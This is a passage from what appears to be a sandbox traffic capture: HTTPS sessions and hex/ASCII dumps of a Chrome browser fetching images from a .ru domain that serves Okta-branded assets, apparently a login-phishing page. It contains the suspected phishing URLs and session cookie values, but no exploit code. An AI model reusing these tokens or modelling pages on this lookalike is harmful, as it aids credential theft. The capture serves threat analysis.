width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.85
2025-03-17 20:55:18 UTC	1369	IN	Data Raw: 39 34 31 2e 39 33 32 61 39 2e 39 37 34 2c 39 2e 39 37 34 2c 30 2c 30 2c 31 2c 2e 38 31 39 2c 31 41 34 2e 39 35 31 2c 34 2e 39 35 31 2c 30 2c 30 2c 31 2c 33 37 2c 33 34 2e 37 33 36 61 33 2e 31 33 33 2c 33 2e 31 33 33 2c 30 2c 30 2c 31 2c 2e 32 31 38 2c 31 2e 31 35 2c 33 2e 34 39 33 2c 33 2e 34 39 33 2c 30 2c 30 2c 31 2d 2e 32 36 31 2c 31 2e 33 32 34 2c 33 2e 33 38 31 2c 33 2e 33 38 31 2c 30 2c 30 2c 31 2d 2e 37 34 39 2c 31 2e 31 33 32 71 2d 2e 38 38 38 2e 38 38 38 2d 31 2e 36 2c 31 2e 35 36 38 61 38 2e 37 35 33 2c 38 2e 37 35 33 2c 30 2c 30 2c 31 2d 31 2e 34 38 39 2c 31 2e 31 35 2c 36 2e 31 37 2c 36 2e 31 37 2c 30 2c 30 2c 31 2d 31 2e 37 31 36 2e 37 30 35 41 39 2e 33 36 37 2c 39 2e 33 36 37 2c 30 2c 30 2c 31 2c 32 39 2e 31 35 31 2c 34 32 61 31 33 2e 37 33 Data Ascii: 941.932a9.974,9.974,0,0,1,.819,1A4.951,4.951,0,0,1,37,34.736a3.133,3.133,0,0,1,.218,1.15,3.493,3.493,0,0,1-.261,1.324,3.381,3.381,0,0,1-.749,1.132q-.888.888-1.6,1.568a8.753,8.753,0,0,1-1.489,1.15,6.17,6.17,0,0,1-1.716.705A9.367,9.367,0,0,1,29.151,42a13.73
2025-03-17 20:55:18 UTC	1277	IN	Data Raw: 33 2c 37 2e 31 35 33 2c 30 2c 30 2c 30 2c 31 2e 31 32 34 2d 2e 39 34 31 71 2e 35 34 39 2d 2e 35 35 37 2c 31 2e 32 36 33 2d 31 2e 32 37 32 61 31 2e 31 38 39 2c 31 2e 31 38 39 2c 30 2c 30 2c 30 2c 2e 33 36 36 2d 2e 38 37 31 2c 31 2e 33 38 32 2c 31 2e 33 38 32 2c 30 2c 30 2c 30 2d 2e 32 37 39 2d 2e 36 35 33 41 31 30 2e 34 2c 31 30 2e 34 2c 30 2c 30 2c 30 2c 33 34 2c 33 34 2e 33 30 39 61 31 34 2e 30 36 2c 31 34 2e 30 36 2c 30 2c 30 2c 30 2d 2e 39 35 38 2d 31 2e 30 33 36 71 2d 2e 35 33 31 2d 2e 35 32 33 2d 31 2e 30 33 36 2d 2e 39 35 38 61 38 2e 39 35 2c 38 2e 39 35 2c 30 2c 30 2c 30 2d 2e 39 33 32 2d 2e 37 31 34 2c 31 2e 33 38 32 2c 31 2e 33 38 32 2c 30 2c 30 2c 30 2d 2e 36 35 33 2d 2e 32 37 39 2c 31 2e 32 31 34 2c 31 2e 32 31 34 2c 30 2c 30 2c 30 2d 2e 37 2e Data Ascii: 3,7.153,0,0,0,1.124-.941q.549-.557,1.263-1.272a1.189,1.189,0,0,0,.366-.871,1.382,1.382,0,0,0-.279-.653A10.4,10.4,0,0,0,34,34.309a14.06,14.06,0,0,0-.958-1.036q-.531-.523-1.036-.958a8.95,8.95,0,0,0-.932-.714,1.382,1.382,0,0,0-.653-.279,1.214,1.214,0,0,0-.7.
2025-03-17 20:55:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.16	49763	13.33.187.68	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:17 UTC	661	OUT	GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://grupomarina.brightnexst.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 20:55:17 UTC	874	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 10796 Connection: close Date: Wed, 12 Mar 2025 18:13:09 GMT Server: nginx Last-Modified: Tue, 23 Feb 2021 04:20:08 GMT ETag: "12bdacc832185d0367ecc23fd24c86ce" Expires: Thu, 12 Mar 2026 18:13:09 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Content-Security-Policy: default-src 'none'; img-src 'self'; require-trusted-types-for 'script'; report-uri https://oktacsp.report-uri.com/r/t/csp/enforce X-Content-Type-Options: nosniff Accept-Ranges: bytes X-Cache: Hit from cloudfront Via: 1.1 c8faaa7d637dd73af72e1355a476ffc2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: D8McETdX_79FMk05zTVgcniJl2BJLwQ8QYrCZMuhaN3u4JlBZwDq0A== Age: 441728
2025-03-17 20:55:17 UTC	10796	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 a4 00 00 00 5e 08 06 00 00 00 6c 32 60 fe 00 00 29 f3 49 44 41 54 78 da ed 7d 09 9c 1c 55 9d ff a0 8b 20 77 a6 eb bd 1a 42 10 10 50 24 8a 48 76 09 c9 74 d5 ab ea 09 91 b8 a0 78 84 45 41 40 04 51 60 81 45 14 d0 15 02 88 c8 2d ec 8a 9c 22 97 28 e7 9f e5 58 60 89 11 44 2e c3 11 c8 35 5d 5d 55 7d cd 95 c9 9d 90 83 24 33 ff df af aa 26 e9 cc bc d7 67 75 4f 77 cf fb 7d 3e ef 13 98 99 ae 7e f5 8e df f7 77 ff 5a 5a 9a 84 12 7a eb be 96 d6 46 5a 24 49 92 24 49 92 a4 d1 a0 b8 4e fe b3 c7 a4 9d 09 9d ac 74 74 b2 24 65 90 c5 09 4d f9 c5 bc e9 ea ae 72 75 24 49 92 24 49 52 d5 68 81 41 76 4b 30 c5 74 19 b9 77 79 87 3a 98 31 e8 a0 a5 93 c1 44 ce 48 c3 cf d6 4c 53 07 01 98 92 69 46 7e b6 58 8f c4 e0 73 6d 72 f5 24 Data Ascii: PNGIHDR^l2`)IDATx}U wBP$HvtxEA@Q`E-"(X`D.5]]U}$3&guOw}>~wZZzFZ$I$INtt$eMru$I$IRhAvK0twy:1DHLSiF~Xsmr$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.16	49771	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:17 UTC	1476	OUT	GET /stYI03OBVOCU6PTHp0UgOWjuR6YVCNeMM7jmnsOFLV5NiD0a9CgeCqBu7DmPKxRFjpU0zwRS32gh260 HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
2025-03-17 20:55:18 UTC	1103	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:18 GMT Content-Type: image/webp Content-Length: 17842 Connection: close Content-Disposition: inline; filename="stYI03OBVOCU6PTHp0UgOWjuR6YVCNeMM7jmnsOFLV5NiD0a9CgeCqBu7DmPKxRFjpU0zwRS32gh260" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Ffw1SCHks2%2Bsm%2BXyIeTlJSeIIB7AhJqIOe%2FLQXGglljAfZRWBTiI%2FuVUdVAzgtmn2icBPSMiSqmk%2FJEp6KzALCE%2F9HiRYSGJQhvJMdCg%2F21Ig4fbA5QDHYgNThpg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=4577&min_rtt=4456&rtt_var=1465&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2387&delivery_rate=579547&cwnd=251&unsent_bytes=0&cid=fb88bf93066486dd&ts=83&x=0" Server: cloudflare CF-RAY: 921f63ed2af4e56c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1638&min_rtt=1631&rtt_var=627&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=2048&delivery_rate=1723730&cwnd=85&unsent_bytes=0&cid=e56508e7e98eaa2b&ts=1002&x=0"
2025-03-17 20:55:18 UTC	266	IN	Data Raw: 52 49 46 46 aa 45 00 00 57 45 42 50 56 50 38 58 0a 00 00 00 30 00 00 00 8d 09 00 82 03 00 49 43 43 50 c8 01 00 00 00 00 01 c8 00 00 00 00 04 30 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 e0 00 01 00 01 00 00 00 00 00 00 61 63 73 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 f6 d6 00 01 00 00 00 00 d3 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 64 65 73 63 00 00 00 f0 00 00 00 24 72 58 59 5a 00 00 01 14 00 00 00 14 67 58 59 5a 00 00 01 28 00 00 00 14 62 58 59 5a 00 00 01 3c 00 00 00 14 77 74 70 74 00 00 01 50 00 00 00 14 72 54 52 43 00 00 01 64 00 00 00 28 67 54 52 43 00 00 01 64 00 00 00 28 62 Data Ascii: RIFFEWEBPVP8X0ICCP0mntrRGB XYZ acsp-desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(b
2025-03-17 20:55:18 UTC	1369	IN	Data Raw: 63 70 72 74 00 00 01 8c 00 00 00 3c 6d 6c 75 63 00 00 00 00 00 00 00 01 00 00 00 0c 65 6e 55 53 00 00 00 08 00 00 00 1c 00 73 00 52 00 47 00 42 58 59 5a 20 00 00 00 00 00 00 6f a2 00 00 38 f5 00 00 03 90 58 59 5a 20 00 00 00 00 00 00 62 99 00 00 b7 85 00 00 18 da 58 59 5a 20 00 00 00 00 00 00 24 a0 00 00 0f 84 00 00 b6 cf 58 59 5a 20 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 70 61 72 61 00 00 00 00 00 04 00 00 00 02 66 66 00 00 f2 a7 00 00 0d 59 00 00 13 d0 00 00 0a 5b 00 00 00 00 00 00 00 00 6d 6c 75 63 00 00 00 00 00 00 00 01 00 00 00 0c 65 6e 55 53 00 00 00 20 00 00 00 1c 00 47 00 6f 00 6f 00 67 00 6c 00 65 00 20 00 49 00 6e 00 63 00 2e 00 20 00 32 00 30 00 31 00 36 41 4c 50 48 e9 2c 00 00 0d 24 c5 6d db 38 d2 fe 6b a7 5c bf 6f 44 4c 80 cf 8b 20 Data Ascii: cprt<mlucenUSsRGBXYZ o8XYZ bXYZ $XYZ -paraffY[mlucenUS Google Inc. 2016ALPH,$m8k\oDL
2025-03-17 20:55:18 UTC	1369	IN	Data Raw: f8 50 6e 9e 78 5e 4c 63 ed 06 c2 94 4d 14 25 b4 9f 92 44 0a 87 67 9c dd 45 1a de f7 f8 78 6e be 88 9c 98 c6 fa 6d e1 da 6e 7e dc a7 9b 3e 81 c3 0b 72 ac 79 df e3 63 ba 9f 6c 3e e2 01 2b b8 cd ad 2d 99 40 51 1d 4f e1 84 cf b6 1c f4 87 17 a4 df f6 bc c3 c7 d5 a8 90 8b e8 30 df 6c 45 03 fd c7 c2 7d 3e 1a ff 41 ea ac ef 2b 7c 68 ab 47 99 89 e8 30 e3 f5 9a c6 fe 18 cb d5 a3 ac 61 ec 12 30 9f 8f 04 d2 ee 7b 8e 8f ef ee ca 66 c1 04 d6 72 85 29 97 28 0c 94 a2 1b f0 e9 b6 23 3b 22 e1 ba ef 39 16 f4 18 00 b4 4d 16 d0 32 07 a6 91 e7 f0 0b ab d6 55 a4 2e 56 bb 29 8d bb ea c8 d4 a7 1b 0e 72 95 10 ff 86 65 7c 0a de 47 1f f1 db 30 a2 66 35 63 ac 49 ab d9 9a f4 5a 83 c4 4f 3e b8 e8 f1 7b 3f a1 66 35 6b db 2e 1f be aa d1 5c fb 52 49 14 57 3e 56 44 4f f8 74 cb c8 06 7c 2c Data Ascii: Pnx^LcM%DgExnmn~>rycl>+-@QO0lE}>A+\|hG0a0{fr)(#;"9M2U.V)re\|G0f5cIZO>{?f5k.\RIW>VDOt\|,
2025-03-17 20:55:18 UTC	1369	IN	Data Raw: 37 5c 5c 5b 1d b2 12 7d 87 e4 9b 5e 5c 1b 13 52 61 d5 59 c8 2b 96 14 79 d3 12 9d e2 f2 e8 88 7c 66 7a 66 18 45 5c 7d b0 b7 0d 8d d4 d9 49 8a f1 47 01 0a 5e 0b 89 4c 77 fd 9d 36 e1 6c 89 d7 ba 43 01 99 e4 c8 74 23 c4 d1 b8 42 70 85 2c 9b 5e 3e e9 6c 5a 29 90 69 23 c4 c9 d8 34 2e af 2d 4a 36 60 39 fa d5 07 18 41 d3 dc b8 cc 18 28 35 96 6b ab 38 32 ae a4 18 54 28 40 af 51 40 21 2a e4 bc 17 57 ca 15 80 2b e4 5b c7 4c b8 6a 90 f3 4e dc 2a 73 89 e2 54 8e 88 81 d8 2c 88 15 48 2a 08 93 99 24 31 8b a5 55 1d 72 df ab 9b ec 6a 83 02 0a 85 ec 3b 75 a5 5c 66 b5 6e 30 b7 5c 21 fb 46 6d 95 b9 b4 8d 3f 89 04 95 9d 9b 76 d5 22 0c 7b 9a de c5 ac ea 1d c5 01 0b b5 96 7b 2c 40 a6 91 3f 37 28 62 a7 ae 44 c8 a9 d7 98 5b ae 50 c4 46 dd 28 77 69 ea 89 1c 88 39 d1 11 73 db 50 f8 Data Ascii: 7\\[}^\RaY+y\|fzfE\}IG^Lw6lCt#Bp,^>lZ)i#4.-J6`9A(5k82T(@Q@!W+[LjNsT,H*$1Urj;u\fn0\!Fm?v"{{,@?7(bD[PF(wi9sP
2025-03-17 20:55:18 UTC	1369	IN	Data Raw: e5 11 0b 52 21 e1 c9 ea 9f 38 bb 75 f6 46 f4 d5 8c f1 4d 3a 83 79 c1 79 a3 73 f6 b6 df 27 03 2d cf 56 6f e8 be 7c 07 a5 37 e6 4e 74 c9 b4 22 9d 51 59 9c d9 59 7b 2d f7 c9 40 ab f8 16 79 3a 0b fb 87 e8 24 93 62 ff 10 1d 0c 51 5d b4 42 9e 76 48 b5 26 fa 33 d7 c8 ba 52 37 22 ce 0e 50 f5 6a 90 71 b5 40 4b 9a 6e 0c 49 49 12 bb 20 d8 2e 9d 49 3f 83 d8 19 77 27 9b 22 1d bd f3 f1 77 ac 66 8c 6d ce a2 91 ea a0 5e 41 69 ed a0 f6 a9 6c b6 fa 5c 3d c8 ef 41 6e cc a8 fa 2a 0d 8d 54 07 f5 03 94 5e 1f a5 ac 12 a9 be a8 b7 f8 78 96 9a 11 45 9f 54 cd 88 42 20 5a be 8f df 90 2c 23 f2 bf 13 7b e4 be 7b 14 3e 95 ba 20 00 f6 8f 46 ad 15 84 b1 23 81 d4 29 d5 3b 8a e9 db 82 d0 48 75 d2 cf 48 30 1a bd 55 4d 69 06 63 f1 56 1f bd f7 63 2f ba 77 49 24 7a 92 af a0 0e 6a 30 5d 1a 50 Data Ascii: R!8uFM:yys'-Vo\|7Nt"QYY{-@y:$bQ]BvH&3R7"Pjq@KnII .I?w'"wfm^Ail\=An*T^xETB Z,#{{> F#);HuH0UMicVc/wI$zj0]P
2025-03-17 20:55:18 UTC	1369	IN	Data Raw: 64 5c 15 80 11 24 10 64 0a 94 16 0b 4a 61 b6 4d 62 9c 6c fc 3e 37 8e 93 6d be 88 12 70 b2 e9 5b 66 77 15 d5 66 8c 97 21 e0 eb 9d 74 c5 99 e4 0b 28 83 1a f4 2e 0d 08 73 be 37 0f 00 42 00 10 c2 ef a2 47 cd 7e 69 5b 70 74 99 54 5f d4 ba 80 bb 69 48 ba 31 d0 d4 9c 44 2f 87 b6 22 1b 5e 67 6b 7a 49 8b 81 dc 20 ef 30 6d a8 aa eb f0 9e 58 93 61 bf 95 31 bb ba 21 b3 c8 dc f6 54 60 fe 52 84 c6 9c 24 59 9b d8 f1 01 d4 41 5e 99 2a 89 fd 10 ce 16 4e 1e 3e 22 04 9c 39 fa 5f 42 80 c3 50 33 ce 58 93 1c 1e 8e 61 55 00 5a 92 40 18 9a 1e 94 a7 d7 e5 c0 41 6e 30 db 16 69 f3 d2 c1 08 2a 30 ff 1e cf e8 b0 bf 97 3e 37 8e d9 e3 ee 62 04 3c dc f3 58 90 49 bc 22 41 2b 8f 9b 14 20 f5 d9 8c 45 ba d1 3b ef af 78 cf ab b4 a0 d4 67 14 d1 2e 0c f5 0e ce 17 86 73 cb c2 88 9c 24 89 c6 72 Data Ascii: d\$dJaMbl>7mp[fwf!t(.s7BG~i[ptT_iH1D/"^gkzI 0mXa1!T`R$YA^N>"9_BP3XaUZ@An0i0>7b<XI"A+ E;xg.s$r
2025-03-17 20:55:18 UTC	1369	IN	Data Raw: ed a9 c0 fc ca 40 18 bb 94 58 45 62 16 46 4b 76 29 8e fd fd 3e 1f 54 fa 4a e4 f3 6f 66 94 86 6c 33 85 33 24 98 95 67 44 75 2c 99 96 64 75 5c 19 80 11 24 cd 8d 7b 9b 04 e5 f8 fd 5f 39 40 5c 3d e7 03 ec bf f0 f8 ef 13 dc b8 a7 02 77 67 88 35 d5 09 39 c7 9a a8 ec e1 aa a1 6a c3 ea c0 b6 a1 80 30 6f aa 39 89 c1 bf f5 e6 c9 6c f2 c1 e6 49 84 7f 9f a0 54 0e 9e 51 c5 ac 1c 27 aa 63 c9 60 fb b5 05 18 41 b2 3f c6 b7 f4 f8 94 00 2f ef 1e f2 c1 e6 20 fc bf 4f 61 d8 67 40 1f b2 22 df 9c 8a e6 19 d5 0a 21 11 84 79 8b 24 39 62 69 d7 f1 b2 d0 66 85 a8 4e 7a 93 0d aa 83 88 cb 25 5e 6a 60 7b aa 66 8a ef 73 bc 64 9e 11 15 9e ae 8e ab 03 e1 b4 4b 85 83 d4 2c 2e e6 2f 0b 4d 5e 80 93 77 b2 ca 05 cd a1 8f 39 70 37 0b fe 72 b3 ad 88 c0 fc fb ca 1e eb 25 c3 fc ea 00 8c 20 d9 5c Data Ascii: @XEbFKv)>TJofl33$gDu,du\${_9@\=wg59j0o9lITQ'c`A?/ Oag@"!y$9bifNz%^j`{fsdK,./M^w9p7r% \
2025-03-17 20:55:18 UTC	1369	IN	Data Raw: d7 4d 62 71 d8 91 55 5f 54 36 0a e4 16 4b 71 73 5a 60 ed 9e ce 9e 0d 46 d0 40 da 90 5e db 91 b9 92 19 d0 bb 75 03 73 57 25 77 7a 5d 38 db 8a ae 3a 88 b8 80 60 7b 32 48 1b 32 11 a0 b7 e5 40 68 13 83 ed c9 f0 70 72 99 f0 86 4e 2f 06 b4 61 26 84 f7 e5 30 20 1f 5f cf e7 6e 1a 9a ea 49 a4 a7 40 7d c4 fb eb 58 0c 09 fa 23 56 0e 8d 48 4e 63 e1 1a 41 87 cd bd 5c 42 5a d2 55 87 3e 8f 5a d1 1d 51 50 c7 93 db 56 64 30 32 66 51 6b 90 8f 3f 97 03 f3 33 d1 7e 3b e8 52 48 d0 5b 10 6a 49 83 ee 56 a7 c6 1b 32 7b 06 e3 4c 21 f8 2e 01 bb 76 a0 65 6a d3 cb d2 d1 32 01 ec b7 22 a3 36 cc 45 98 36 64 d8 dc cb 2c 2c e8 f5 59 b8 cb 24 fd e8 7a ba e6 51 64 a1 41 af b0 1c b9 9b 09 e0 9f 5b 11 8a c0 f6 09 38 0a 23 88 a0 ac 4f ab d6 c8 a0 fe e7 5a c4 12 30 85 f5 87 30 76 89 59 2c dd Data Ascii: MbqU_T6KqsZ`F@^usW%wz]8:`{2H2@hprN/a&0 _nI@}X#VHNcA\BZU>ZQPVd02fQk?3~;RH[jIV2{L!.vej2"6E6d,,Y$zQdA[8#OZ00vY,
2025-03-17 20:55:18 UTC	1369	IN	Data Raw: 68 44 22 66 41 05 ad d3 02 50 31 5e 33 f0 3f 2c c7 28 4d 42 bf 76 ac 65 35 fb 53 fa 8f 48 be e2 3d bb f1 2e 84 10 fe 50 33 f0 96 23 cd 03 ce 1f 85 4d e8 d7 8e b5 0c fc 4f e9 1f b0 54 00 6c 7a d6 b2 5f 66 78 c3 5a de b6 a7 18 02 00 1f 59 0d 80 a3 43 86 02 89 fa e3 d7 34 80 8a 73 c6 c7 00 38 56 a3 de 20 e9 d3 b7 d4 7e ed 78 cb d8 18 a2 07 e0 6a 06 a0 6d eb 0d 72 3c fe 58 51 b0 b7 4d 12 e3 8f 05 05 73 b5 4f 6d b1 da 69 9f 56 e6 c3 4b 7a bf 56 8c b7 6d db fe 21 69 43 00 7f fc 9a 56 e6 a7 e7 39 b2 7d 2a f3 bf a9 db 16 00 ab 91 ef 23 92 55 db 2e 91 df 36 2d c0 91 be 40 b6 4d 5b 33 00 1c 39 8f 5f b1 a6 68 44 12 1a 8b 5a de 6f 3e 06 90 f7 9b d9 18 1f 30 af c3 2b 05 d4 b6 9b 8d e9 01 73 1c ae 9a 85 54 c0 e1 25 1d 88 a7 2a a1 4c ef 31 eb 3d 56 15 b5 4c c2 2c ab 28 Data Ascii: hD"fAP1^3?,(MBve5SH=.P3#MOTlz_fxZYC4s8V ~xjmr<XQMsOmiVKzVm!iCV9}#U.6-@M[39_hDZo>0+sT%L1=VL,(
2025-03-17 20:55:18 UTC	1369	IN	Data Raw: 59 64 1e 9d b5 37 9c f3 2a a1 a3 b5 28 6c 34 66 ea f9 2e a5 c9 59 8b 02 86 03 51 93 17 60 d4 ad d8 25 71 b4 2f 28 b5 73 76 e4 9c 75 a9 8d ce 59 14 3f 68 b3 ed fb 2a 8d d1 9a 9f 28 a0 b3 f6 aa e7 bc 4a 6c b0 ee 27 fe cb 6f 02 49 c6 ce 9d 25 df 60 a8 88 4d a0 c9 de 5a 77 cd 39 6b 12 18 bd 73 3f 90 a4 73 44 c5 0e d6 0e 9c f3 2e 85 d1 79 f7 03 65 f4 ce b9 1b c6 58 97 c0 e0 9c 43 91 83 75 47 ce 39 ab 12 18 bd 73 3f 50 c6 60 88 0a 68 cd d0 f7 3b 9a 93 73 0e 65 8f ce f9 81 b3 96 75 69 4c de 3b ff 8a 99 b4 d6 de f4 9c 55 34 a3 77 f6 15 c5 0c d6 b9 1b ce d8 26 8d d1 7b e7 b0 f6 ec 9d f3 13 e3 6d db 9d eb 14 7d f0 1e 4b d8 39 37 b0 96 b1 ba 3b d7 18 7c f0 1e 85 f5 de fb a1 65 ac 6d 59 75 9e 53 74 c1 7b 14 dd 39 e7 af 19 6b 5b 56 9d 69 0c 3e 3a 8f 45 1d ad 3d 72 ce Data Ascii: Yd7(l4f.YQ`%q/(svuY?h(Jl'oI%`MZw9ks?sD.yeXCuG9s?P`h;seuiL;U4w&{m}K97;\|emYuSt{9k[Vi>:E=r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.16	49772	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:17 UTC	1163	OUT	GET /mnDozZ86DfeH93KodasaV6JijAz0XdnqsnPjlpZlIO7O290148 HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
2025-03-17 20:55:19 UTC	1100	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:18 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="mnDozZ86DfeH93KodasaV6JijAz0XdnqsnPjlpZlIO7O290148" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PCM700J0ocpVFhV7%2BAs%2F0x%2FQQU2j%2Fy6bH5cAvfBbW8JCP%2BQ18HNdFhsoQGJdNLdHfoUjFbo8hf2j9eiBEP3bjfGaaZMxg2LwtecqOnFeWAZfJgZldrWMABscySx9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=4000&min_rtt=3631&rtt_var=1661&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2074&delivery_rate=556067&cwnd=219&unsent_bytes=0&cid=ace3d0ad3517cd0e&ts=90&x=0" vary: accept-encoding Server: cloudflare CF-RAY: 921f63ed6d1442b1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1709&min_rtt=1695&rtt_var=645&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1735&delivery_rate=1722713&cwnd=230&unsent_bytes=0&cid=3d516782fd7ec3ba&ts=1767&x=0"
